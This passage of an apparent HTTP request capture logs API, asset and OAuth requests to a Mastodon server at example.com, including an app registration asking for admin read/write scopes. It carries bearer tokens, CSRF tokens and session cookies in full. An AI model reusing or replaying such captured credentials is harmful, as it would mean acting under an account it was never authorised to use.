_mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%23python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%40bob&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589325674471006&id[]=117589325674471006", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589371958209726&id[]=117589371958209726", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=https:%2F%2Fremote.example%2Fusers%2Falice&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/apps", "headers": ["Host: example.com", "Content-Length: 156", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "client_name=Tusky&redirect_uris=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scopes=read+write+follow+push+admin%3Aread+admin%3Awrite&website=https%3A%2F%2Ftusky.app"}
|
||||||
|
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=W2l04JlLigwdAvXsIy4EvlVd1Ptmg7KSdPF0EgbFrg%2BfdmsX946SRsCXP3n%2BSVSWxbeMeihoEp5iUPHuM50Lso84YxIVjdA1BQyNKzikL2lo2KrdMPklm5yoOWKSNPKSslO%2BjfO8pEk9QTjusM%2BSTvqs6oLFg0wH7oPEd6a3bXcX2qPNkqWbtDReRNQW1dGHBo3ow9o2i%2BJ6NjT4V68EnIViz3ZbUgsnN4fjuefPE9XKp8AuV7ug31EzuY%2BtXVlnC9j1flmfU%2FDRcJvrUDmCyYCYvKKsP6VtfA%3D%3D--Iq2gDgHeLfsGFKU2--FB8j6aSerWEyIpqqGTGo2Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/immutable.es-tL0E-S7u.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/video-B-s0PS3Z.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/link_footer-DaHtacuU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/oauth/authorize", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 337", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 